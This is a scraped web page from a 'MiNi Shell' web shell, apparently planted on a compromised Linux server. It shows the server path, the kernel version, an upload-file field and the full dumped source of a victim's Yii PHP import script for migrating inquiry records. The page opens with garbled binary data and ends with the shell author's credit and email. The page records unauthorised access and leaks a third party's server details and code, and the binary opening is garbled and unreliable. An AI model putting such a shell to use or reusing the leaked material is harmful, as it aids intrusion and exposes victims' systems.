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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/actions/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/console/controllers/actions/ImportCompaniesInquiriesAction.php

<?php

namespace console\controllers\actions;

use \Yii;
use yii\base\Action;
use yii\helpers\ArrayHelper;
use \yii\console\Controller;
use yii\validators\EmailValidator;
use common\models\Companies;
use common\models\Users;
use common\models\Inquiries;
use common\models\InquiriesAttachments;
use common\models\CompaniesHasInquiries;
use common\models\types\InquirySource;
use common\models\types\InquiryStatus;
use common\models\types\InquiryType;
use common\models\types\ContactDataType;
use common\models\Portals;

class ImportCompaniesInquiriesAction extends ImportAbstractAction
{   
    public $limit;
    public $offset;
    
    private $inquiries = [];
    private $inquiriesTypesMap = [];
    private $companiesCategoriesMap = [];
    private $productsCategoriesMap = [];
    private $usersMap = [];
    private $productsMap = [];
    private $portals = [];
    private $modelsCompanies = [];
    private $modelsUsers = [];
    private $filesToCopy = [];
    
    public function run() 
    {         
        $this->getInquiries();
        if(empty($this->inquiries)) {
            $this->controller->stderr('Brak zapytan do przetworzenia.');
            return Controller::EXIT_CODE_ERROR;
        }
        
//        var_dump($this->inquiries);
//        exit;
        
        $debugMode = self::DEBUG_MODE_ON;

        $incorrectImports = [];
        
        foreach($this->inquiries as $inquiry) {            
            if($this->checkIfSelectedRecordExists($inquiry['id'])) {
                continue;
            }
            
            $transaction = Yii::$app->db->beginTransaction();
//            $modelInquiry = $this->createModelInquiries($inquiry); 
//            if(empty($modelInquiry)) {
////                echo 'pominieto (brak informacji odnosnie wysylki)';
//                if($debugMode === self::DEBUG_MODE_OFF) {
//                    $this->saveOperationStatus(self::STATUS_FAIL, $inquiry['id'], null, 'No information on shipping');
//                }
//                continue;
//            }
            
            if($debugMode === self::DEBUG_MODE_ON) {
                echo "\n".'EZO ID: '.$inquiry['id'].' - ';
            }
            
            $incorrectImports[$inquiry['id']] = true;
            
            $modelInquiry = $this->createModelInquiries($inquiry); 
            if(empty($modelInquiry)) {
                echo 'pominieto (brak informacji odnosnie wysylki)';
                if($debugMode === self::DEBUG_MODE_OFF) {
                    $this->saveOperationStatus(self::STATUS_FAIL, $inquiry['id'], null, 'No information on shipping');
                }
                continue;
            }

            if(($result = $this->trySaveModel($modelInquiry, $inquiry['id'], $debugMode)) !== true) {
                var_dump('Blad podczas zapisu EZO');
                var_dump($modelInquiry->getErrors());
                continue;
            }            
            
            $modelsInquiriesAttachments = $this->createModelsInquiriesAttachments($inquiry, $modelInquiry->id_inquiry);            
            if(!empty($modelsInquiriesAttachments)) {
                $goToNextIterration = false;
                foreach($modelsInquiriesAttachments as $modelInquiryAttachment) {
                    if(($result = $this->trySaveModel($modelInquiryAttachment, $inquiry['id'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu zalacznika do EZO');
                        var_dump($modelInquiryAttachment->getErrors());
                        $goToNextIterration = true;
                        break;
                    }
                }
                if($goToNextIterration) {
                    continue;
                }
            }
            
            $data = $this->createRelationsForModelsCompaniesHasInquiries($inquiry, $modelInquiry->id_inquiry);            
            if(!empty($data)) {                
                $flag = Yii::$app->db->createCommand()->batchInsert('companies_has_inquiries', ['id_inquiry', 'id_company', 'email', 'created_at'], $data)->execute();
                if(!$flag) {
                    if($debugMode === self::DEBUG_MODE_OFF) {
                        $this->saveOperationStatus(self::STATUS_FAIL, $inquiry['id'], null, 'Error when executing batch insert to companies_has_inquiries table');
                    }
                    $transaction->rollBack();
                    var_dump('Blad podczas zapisu powiazania EZO z firma-odbiorca');
                    continue;
                }
            }
            
//            $modelsCompaniesHasInquiries = $this->createModelsCompaniesHasInquiries($inquiry, $modelInquiry->id_inquiry);            
//            if(!empty($modelsCompaniesHasInquiries)) {
//                $goToNextIterration = false;
//                foreach($modelsCompaniesHasInquiries as $modelCompanyHasInquiry) {
//                    if(($result = $this->trySaveModel($modelCompanyHasInquiry, $inquiry['id'], $debugMode)) !== true) {
//                        var_dump('Blad podczas zapisu powiazania EZO z firma-odbiorca');
//                        $goToNextIterration = true;
//                        break;
//                    }
//                }
//                if($goToNextIterration) {
//                    continue;
//                }
//            }
            
            if(!empty($this->filesToCopy) && $debugMode === self::DEBUG_MODE_OFF) {
                $goToNextIterration = false;                
                foreach($this->filesToCopy as $fileToCopy) {
                    if(!$this->copyFile($fileToCopy)) {
                        $this->saveOperationStatus(self::STATUS_FAIL, $inquiry['id'], null, 'Error when copying a file');
                        $transaction->rollBack();
//                        var_dump('Blad podczas zapisu pliku');
                        $goToNextIterration = true;
                        break;
                    }
                }
                if($goToNextIterration) {
                    continue;
                }
            }
            
            if($debugMode === self::DEBUG_MODE_OFF) {            
                $this->saveOperationStatus(self::STATUS_OK, $inquiry['id'], $modelInquiry->id_inquiry);
                $transaction->commit();
                unset($incorrectImports[$inquiry['id']]);
//                echo 'zapisano';
            } else {                
                unset($incorrectImports[$inquiry['id']]);
                echo 'zapisano';
            }
        }
        
        if(!empty($incorrectImports)) {
            echo "\n".'ID niezaimportowancyh EZO: '.implode(", ", array_keys($incorrectImports));
        }
    }
    
    private function getInquiries()
    {
        $this->inquiries = [];
        
        if(!empty($this->limit)) {
            if(!empty($this->offset)) {
                $limit = 'LIMIT '.intval($this->offset).','.intval($this->limit);
            } else {
                $limit = 'LIMIT '.intval($this->limit);
            }
        } else {
            $limit = 'LIMIT 100';
        }
        
        $sql = 'SELECT ezo_zapytania.*, ezo_wysylka.zapytanie_data FROM ezo_zapytania LEFT OUTER JOIN ezo_wysylka ON ezo_wysylka.id_zapytania = ezo_zapytania.id ORDER BY ezo_zapytania.id ASC '.$limit;  
        
//        $ids = [
//            57, 58, 63, 64, 66, 229, 230, 396, 623, 954, 3907, 3923, 3926, 3928, 3929, 3930, 3931, 3932, 3934, 3937, 3938, 3945, 3946, 3947, 3948, 3949, 3950, 3951, 3952, 3953, 3956, 3958, 3959, 
//            3960, 3961, 3962, 3963, 3973, 3974, 3975, 3976, 3977, 3978, 3979, 3980, 3981, 3991, 4034
//        ];
//        $sql = 'SELECT ezo_zapytania.*, ezo_wysylka.zapytanie_data FROM ezo_zapytania LEFT OUTER JOIN ezo_wysylka ON ezo_wysylka.id_zapytania = ezo_zapytania.id WHERE ezo_zapytania.id IN ('. implode(", ", $ids).') ORDER BY ezo_zapytania.id ASC ';  
        
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        
        if(empty($rows)) {
            return;
        }
        
        $idsNewCompanies = $idsNewUsers = [];
        foreach($rows as $row) {
            $idEzo = intval($row['id']); 
            
            $idNewUser = isset($this->usersMap[intval($row['id_user'])]) ? $this->usersMap[intval($row['id_user'])] : null;
            if(!$idNewUser) {
                continue;
            }
            $idsNewUsers[$idNewUser] = $idNewUser;
            
            $idNewCompany = $this->getIdCompanyForOldIdUser($row['id_user']);            
            if($idNewCompany) {
                $idsNewCompanies[$idNewCompany] = $idNewCompany;
            }
            
            
            $this->inquiries[$idEzo] = $this->convertDataLatin2ToUTF8($row);
            $this->inquiries[$idEzo]['ezo_wyslano'] = [];
        }

        $sql = 'SELECT * FROM ezo_wyslano WHERE id_zapytanie IN ('.implode(",", array_keys($this->inquiries)).')';        
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        if(!empty($rows)) {        
            foreach($rows as $row) { 
                $idEzo = intval($row['id_zapytanie']);            
                $this->inquiries[$idEzo]['ezo_wyslano'][] = $this->convertDataLatin2ToUTF8($row);
            }
            
            unset($rows);
        }

        if(!empty($idsNewCompanies)) {
            $this->modelsCompanies = Companies::find()
                    ->with([
                        'invoicingData' => function($q) {
                            $q->where(['or_main' => 1]);
                        }, 
                        'contactData' => function($q) {
                            $q->orderBy('id_company ASC, data_order ASC');
                        }
                    ])
                    ->where(['id_company' => array_values($idsNewCompanies)])
                    ->indexBy('id_company')
                    ->all();
        }
        if(!empty($idsNewUsers)) {
            $this->modelsUsers = Users::find()
                    ->with([
                        'contactData' => function($q) {
                            $q->orderBy('id_user ASC, data_order ASC');
                        },
                        'addresses' => function($q) {
                            $q->where(['or_main' => 1]);
                        },
                    ])
                    ->where(['id_user' => array_values($idsNewUsers)])
                    ->indexBy('id_user')
                    ->all();
        }
    }
    
    public function init() 
    {
        Yii::$app->dbVortale->createCommand('SET NAMES latin2;')->execute();
                
        $this->inquiriesTypesMap = [
            1 => InquiryType::COMPANIES,
            2 => InquiryType::PRODUCTS,
            4 => InquiryType::COMPANIES,
            5 => InquiryType::PRODUCTS 
        ];
        
        parent::init();
        
        $this->getUsersToCompaniesMap();
        
        $this->portals = \yii\helpers\ArrayHelper::map(Portals::find()->select(['id_portal'])->asArray()->all(), 'id_portal', 'id_portal');
        
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_companies_categories')->select(['_id', 'source_id', 'target_id'])->where(['status' => self::STATUS_OK])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $this->companiesCategoriesMap[(int)$document['source_id']] = (int)$document['target_id'];
            }
        } 
        unset($documents);
        
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_products_categories')->select(['_id', 'source_id', 'target_id'])->where(['status' => self::STATUS_OK])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $this->productsCategoriesMap[(int)$document['source_id']] = (int)$document['target_id'];
            }
        } 
        unset($documents);
        
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_users')->select(['_id', 'source_id', 'target_id'])->where(['status' => self::STATUS_OK])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $this->usersMap[(int)$document['source_id']] = (int)$document['target_id'];
            }
        } 
        unset($documents);
        
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_products')->select(['_id', 'source_id', 'target_id'])->where(['status' => self::STATUS_OK])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $this->productsMap[(int)$document['source_id']] = (int)$document['target_id'];
            }
        } 
        unset($documents);
        
    }
    
    protected function getOperationStatusCollectionName()
    {
        return 'import_companies_inquiries';
    }
    
    protected function extractDataFromInquiry($data)
    {     
        $outputData = [
            'id_portal' => null,
            'id_user' => null,
            'id_company' => null,
            'or_simple' => null,
            'content' => null,
            'annotations' => null,
            'inquiry_data' => null,
            'inquiry_type' => null,
            'inquiry_source' => null,
            'sender_data' => null,
            'status' => null,
            'sent_datetime' => null,
            'created_at' => null,
            'updated_at' => null,
        ];
        
        $inquiryData = [
            'items' => [],
            'categories' => [],
            'filters' => [
                'regions' => []
            ]
        ]; 
        
        if(!empty($data['zapytanie_data'])) {
            $decodedJSONData = json_decode($data['zapytanie_data'], true);            
            $outputData['inquiry_type'] = !empty($this->inquiriesTypesMap[intval($decodedJSONData['type'])]) ? $this->inquiriesTypesMap[intval($decodedJSONData['type'])] : null;
            
            if($outputData['inquiry_type'] === InquiryType::COMPANIES) {
                if(!empty($decodedJSONData['data'])) {
                    foreach($decodedJSONData['data'] as $value => $flag) {
                        $idRecipientCompany = $this->getIdCompanyForOldIdUser($value);
                        if(!empty($idRecipientCompany)) {
                            $inquiryData['items'][] = $idRecipientCompany;
                        }
                    }
                }
                
                if(!empty($decodedJSONData['cats'])) {
                    foreach($decodedJSONData['cats'] as $value) {
                        if(!empty($this->companiesCategoriesMap[intval($value)])) {
                            $inquiryData['categories'][] = $this->companiesCategoriesMap[intval($value)];
                        }
                    }
                }
                
            } elseif($outputData['inquiry_type'] === InquiryType::PRODUCTS) {
                if(!empty($decodedJSONData['data'])) {
                    foreach($decodedJSONData['data'] as $value => $flag) {
                        if(!empty($this->productsMap[intval($value)])) {
                            $inquiryData['items'][] = $this->productsMap[intval($value)];
                        }
                    }
                }
                if(!empty($decodedJSONData['cats'])) {
                    foreach($decodedJSONData['cats'] as $value) {
                        if(!empty($this->productsCategoriesMap[intval($value)])) {
                            $inquiryData['categories'][] = $this->productsCategoriesMap[intval($value)];
                        }
                    }
                }
            }
            
            if(!empty($decodedJSONData['region']) && intval($decodedJSONData['region']) === 2 && !empty($decodedJSONData['woje'])) {
                foreach($decodedJSONData['woje'] as $value) {
                    $idRegion = intval($value);
                    if($idRegion > 0 && $idRegion < 17) {
                        $inquiryData['filters']['regions'][] = $idRegion;
                    }
                }
            }
            
            if(!empty($decodedJSONData['znaczenie']) && $decodedJSONData['znaczenie'] === 'simply_ask') {
                $outputData['or_simple'] = true;                
            } else {
                $outputData['or_simple'] = false;
            }
            
            
            
        } elseif(!empty($data['ezo_wyslano'])) {
            $outputData['inquiry_type'] = isset($this->inquiriesTypesMap[intval($data['ezo_wyslano'][0]['rodzaj'])]) ? $this->inquiriesTypesMap[intval($data['ezo_wyslano'][0]['rodzaj'])] : null;
            
            if($outputData['inquiry_type'] === InquiryType::COMPANIES) {
                $existsCategories = [];
                foreach($data['ezo_wyslano'] as $value) {
                    $idCategory = intval($value['id_kat']);
                    if($idCategory !== 0) {
                        if(!isset($existsCategories[$idCategory]) && !empty($this->companiesCategoriesMap[$idCategory])) {
                            $existsCategories[$idCategory] = true;
                            $inquiryData['categories'][] = $this->companiesCategoriesMap[$idCategory];
                        }
                    } else {
                        $idRecipientCompany = $this->getIdCompanyForOldIdUser($value['id_user']);
                        if(!empty($idRecipientCompany)) {
                            $inquiryData['items'][] = $idRecipientCompany;
                        }
                    }
                } 
                unset($existsCategories);
            } elseif($outputData['inquiry_type'] === InquiryType::PRODUCTS) {
                $existsCategories = [];
                foreach($data['ezo_wyslano'] as $value) {
                    $idCategory = intval($value['id_kat']);
                    if($idCategory !== 0) {
                        if(!isset($existsCategories[$idCategory]) && !empty($this->productsCategoriesMap[$idCategory])) {
                            $existsCategories[$idCategory] = true;
                            $inquiryData['categories'][] = $this->productsCategoriesMap[$idCategory];
                        }
                    } else {
                        if(!empty($this->productsMap[intval($value['id_user'])])) {
                            $inquiryData['items'][] = $this->productsMap[intval($value['id_user'])];
                        }
                    }
                } 
                unset($existsCategories);
            }
            
            $outputData['or_simple'] = false;
            
        } else {
            return null;
        }
        
        $idCompany = $this->getIdCompanyForOldIdUser($data['id_user']);
        $idUser = isset($this->usersMap[intval($data['id_user'])]) ? $this->usersMap[intval($data['id_user'])] : null;
        
        $outputData['id_portal'] = isset($this->portals[intval($data['id_portal'])]) ? $this->portals[intval($data['id_portal'])] : null;
        $outputData['id_user'] = $idUser;
        $outputData['id_company'] = $idCompany;
        $outputData['inquiry_data'] = $inquiryData;        
        $outputData['content'] = $data['zapytanie'];
        $outputData['annotations'] = !empty($data['ezo_uwagi']) ? $data['ezo_uwagi'] : null;
        $outputData['inquiry_source'] = InquirySource::PORTAL; //@todo ustalić co z tym robimy
        $outputData['created_at'] = $data['data'];
        
        if(!empty($data['data_wyslania']) && $data['data_wyslania'] !== '0000-00-00 00:00:00') {
            $outputData['sent_datetime'] = date("Y-m-d H:i", strtotime($data['data_wyslania']));
            $outputData['updated_at'] = $data['data_wyslania'];
        } elseif(!empty($data['ezo_wyslano'])) {
            foreach($data['ezo_wyslano'] as $value) {
                if(!empty($value['data_wyslania']) && $value['data_wyslania'] !== '0000-00-00 00:00:00') {
                    $outputData['sent_datetime'] = date("Y-m-d H:i", strtotime($value['data_wyslania']));
                    $outputData['updated_at'] = $value['data_wyslania'];
                    break;
                }
            }
        } else {
            $outputData['sent_datetime'] = null; 
            $outputData['updated_at'] = $data['data'];
        }
        
        switch(intval($data['status'])) {
            case 0:
                $outputData['status'] = InquiryStatus::NEW_CREATED;
                break;
            case 1: 
                $outputData['status'] = InquiryStatus::ACCEPTED;
                break;
            case 2:
                $outputData['status'] = InquiryStatus::CANCELED; //@todo ustalić co to za status - w starej bazie co to oznaczało ?
                break;
            case 3: 
                $outputData['status'] = InquiryStatus::SENT;
                break;            
            case 4: 
                $outputData['status'] = InquiryStatus::SENDING;
                break;
            //@todo czy jest jakiś status dla sytuacji "wstrzymano" ? W nowej bazie mamy coś takiego, ale nie wiem czy w starej było...
        }
        
        $modelCompany = isset($this->modelsCompanies[$idCompany]) ? $this->modelsCompanies[$idCompany] : null;
        $modelUser = isset($this->modelsUsers[$idUser]) ? $this->modelsUsers[$idUser] : null;
        
        $email_1 = $email_2 = $phone_1 = $phone_2 = $fb = $skype = $tax_id = $fax = $www = null;
        if(!empty($modelCompany)) {
            $modelCompanyInvoicingData = !empty($modelCompany->invoicingData) ? $modelCompany->invoicingData[0] : null;
            if($modelCompanyInvoicingData) {
                $tax_id = $modelCompanyInvoicingData->tax_id;
            }
            
            if(!empty($modelCompany->contactData)) {
                foreach($modelCompany->contactData as $modelCompanyContactData) {
                    if($modelCompanyContactData->data_type === ContactDataType::PHONE || $modelCompanyContactData->data_type === ContactDataType::MOBILE_PHONE) {
                        if(!$phone_1) {
                            $phone_1 = $modelCompanyContactData->data_value;
                        } elseif(!$phone_2) {
                            $phone_2 = $modelCompanyContactData->data_value;
                        }
                    } elseif($modelCompanyContactData->data_type === ContactDataType::EMAIL) {
                        if(!$email_1) {
                            $email_1 = $modelCompanyContactData->data_value;
                        } elseif(!$email_2) {
                            $email_2 = $modelCompanyContactData->data_value;
                        }
                    } elseif($modelCompanyContactData->data_type === ContactDataType::FACEBOOK && !$fb) {
                        $fb = $modelCompanyContactData->data_value;
                    } elseif($modelCompanyContactData->data_type === ContactDataType::SKYPE && !$skype) {
                        $skype = $modelCompanyContactData->data_value;
                    } elseif($modelCompanyContactData->data_type === ContactDataType::FAX && !$fax) {
                        $fax = $modelCompanyContactData->data_value;
                    } elseif($modelCompanyContactData->data_type === ContactDataType::WWW && !$www) {
                        $www = $modelCompanyContactData->data_value;
                    } 
                }                             
            } 
            
            $senderData = [
                'company_name' => $modelCompany->name,            
                'id_country' => $modelCompany->id_country,
                'region' => $modelCompany->region,
                'locality' => $modelCompany->locality,
                'postcode' => $modelCompany->postcode,
                'street' => $modelCompany->street,
                'building_number' => $modelCompany->building_number,
                'apartment_number' => $modelCompany->apartment_number,                
            ];
        } else {
            $modelUserAddress = !empty($modelUser->addresses) ? $modelUser->addresses[0] : null;
            if(!empty($modelUserAddress)) {
                $senderData = [
                    'id_country' => $modelUserAddress->id_country,
                    'region' => $modelUserAddress->region,
                    'locality' => $modelUserAddress->locality,
                    'postcode' => $modelUserAddress->postcode,
                    'street' => $modelUserAddress->street,
                    'building_number' => $modelUserAddress->building_number,
                    'apartment_number' => $modelUserAddress->apartment_number,                
                ];
            } else {
                $senderData = [
                    'id_country' => null,
                    'region' => null,
                    'locality' => null,
                    'postcode' => null,
                    'street' => null,
                    'building_number' => null,
                    'apartment_number' => null,                
                ];
            }
        }
        
        if(!empty($modelUser->contactData)) {
            foreach($modelUser->contactData as $modelUserContactData) {
                if($modelUserContactData->data_type === ContactDataType::PHONE || $modelUserContactData->data_type === ContactDataType::MOBILE_PHONE) {
                    if(!$phone_1) {
                        $phone_1 = $modelUserContactData->data_value;
                    } elseif(!$phone_2) {
                        $phone_2 = $modelUserContactData->data_value;
                    }
                } elseif($modelUserContactData->data_type === ContactDataType::EMAIL) {
                    if(!$email_1) {
                        $email_1 = $modelUserContactData->data_value;
                    } elseif(!$email_2) {
                        $email_2 = $modelUserContactData->data_value;
                    }
                } elseif($modelUserContactData->data_type === ContactDataType::FACEBOOK && !$fb) {
                    $fb = $modelUserContactData->data_value;
                } elseif($modelUserContactData->data_type === ContactDataType::SKYPE && !$skype) {
                    $skype = $modelUserContactData->data_value;
                } elseif($modelUserContactData->data_type === ContactDataType::FAX && !$fax) {
                    $fax = $modelUserContactData->data_value;
                } elseif($modelUserContactData->data_type === ContactDataType::WWW && !$www) {
                    $www = $modelUserContactData->data_value;
                } 
            }
        }  
        
        $senderData['forename'] = $modelUser->forename;
        $senderData['surname'] = $modelUser->surname;    
        $senderData['email_1'] = $email_1;
        $senderData['phone_1'] = $phone_1;
        $senderData['email_2'] = $email_2;
        $senderData['phone_2'] = $phone_2;
        $senderData['fb'] = $fb;
        $senderData['skype'] = $skype;
        
        if(!empty($modelCompany)) {
            $senderData['tax_id'] = $tax_id;
            $senderData['fax'] = $fax;
            $senderData['www'] = $www;
        }
        
        $outputData['sender_data'] = $senderData;

        return $outputData;
    }
    
    private function createModelInquiries($data)
    {
        $preparedData = $this->extractDataFromInquiry($data);
        if(empty($preparedData)) {
            return null;
        }
        
        $model = new Inquiries(['scenario' => 'create']);
        $fields = ['id_portal', 'id_user', 'id_company', 'content', 'annotations', 'status', 'inquiry_type', 'inquiry_source', 'or_simple', 'inquiry_data', 'sender_data', 'sent_datetime', 'created_at', 'updated_at'];
        foreach($fields as $field) {
            $model->$field = $preparedData[$field];
        }
        
        return $model;
    }
    
    private function createModelsInquiriesAttachments($data, $idInquiry)
    {
        $this->filesToCopy = [];
        
        $models = [];

        for($i = 1; $i <= 10; $i++) {
            if(!empty($data['zalacznik'.$i]) && file_exists(Yii::getAlias('@runtime').'/sources/inquiries/'.$data['id'].'/'.$data['zalacznik'.$i])) {            
                $fileInfo = pathinfo(Yii::getAlias('@runtime').'/sources/inquiries/'.$data['id'].'/'.$data['zalacznik'.$i]);   
                
                $model = new InquiriesAttachments(['scenario' => 'create']);
                $model->id_inquiry = $idInquiry;
                $model->filename = InquiriesAttachments::createFileName($fileInfo['filename'], $fileInfo['extension']);
                $model->name = $data['zalacznik'.$i];
                
                $this->filesToCopy[] = [
                    'source_path' => Yii::getAlias('@runtime').'/sources/inquiries/'.$data['id'].'/'.$data['zalacznik'.$i],
                    'target_path' => Yii::getAlias('@inquiriesAttachmentsRealPath').'/'.$idInquiry.'/'.$model->filename
                ];
                
                $models[] = $model;                
            }
            
        }
        
        return $models;
    }
    
    private function createModelsCompaniesHasInquiries($data, $idInquiry)
    {
        $models = [];
        
        if(empty($data['ezo_wyslano'])) {
            return $models;
        }
        
        foreach($data['ezo_wyslano'] as $value) {
            $idCompany = $this->getIdCompanyForOldIdUser($value['id_user']);
            if(!$idCompany) {
                continue;
            }
            
            $hashKey = $idInquiry.'_'.$idCompany.'_'.$value['email'];            
            if(isset($models[$hashKey])) {
                continue;
            }
            
            if(!empty($value['data_wyslania']) && $value['data_wyslania'] !== '0000-00-00 00:00:00') {
                $createdAt = $value['data_wyslania'];
            } elseif(!empty($data['data_wyslania']) && $data['data_wyslania'] !== '0000-00-00 00:00:00') {
                $createdAt = $data['data_wyslania'];
            } else {
                $createdAt = $data['data']; 
            }
            
            $email = !empty($value['email']) ? $value['email'] : 'brak@email.pl';
            
            $model = new CompaniesHasInquiries(['scenario' => 'create']);
            $model->id_inquiry = $idInquiry;
            $model->id_company = $idCompany;
            $model->email = $email;
            $model->created_at = $createdAt;
            
            $models[$hashKey] = $model;
        }
        
        return $models;
    }
    
    private function createRelationsForModelsCompaniesHasInquiries($data, $idInquiry)
    {
        $outputData = [];
        
        if(empty($data['ezo_wyslano'])) {
            return $outputData;
        }
        
        $validatorEmail = new EmailValidator();
        
        foreach($data['ezo_wyslano'] as $value) {
            $idCompany = $this->getIdCompanyForOldIdUser($value['id_user']);
            if(!$idCompany) {
                continue;
            }
            
            $hashKey = $idInquiry.'_'.$idCompany.'_'.$value['email'];
            
            if(isset($outputData[$hashKey])) {
                continue;
            }
            
            if(!empty($value['data_wyslania']) && $value['data_wyslania'] !== '0000-00-00 00:00:00') {
                $createdAt = $value['data_wyslania'];
            } elseif(!empty($data['data_wyslania']) && $data['data_wyslania'] !== '0000-00-00 00:00:00') {
                $createdAt = $data['data_wyslania'];
            } else {
                $createdAt = $data['data']; 
            }
            
            if(!empty($value['email'])) {
                if($validatorEmail->validate($value['email'])) {
                    $email = $value['email'];
                } else {
                    continue;
                }
            } else {
                $email = 'brak@email.pl';;
            }
            
            $outputData[$hashKey] = [
                $idInquiry,
                $idCompany,
                $email,
                $createdAt
            ];
        }
        
        return $outputData;
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com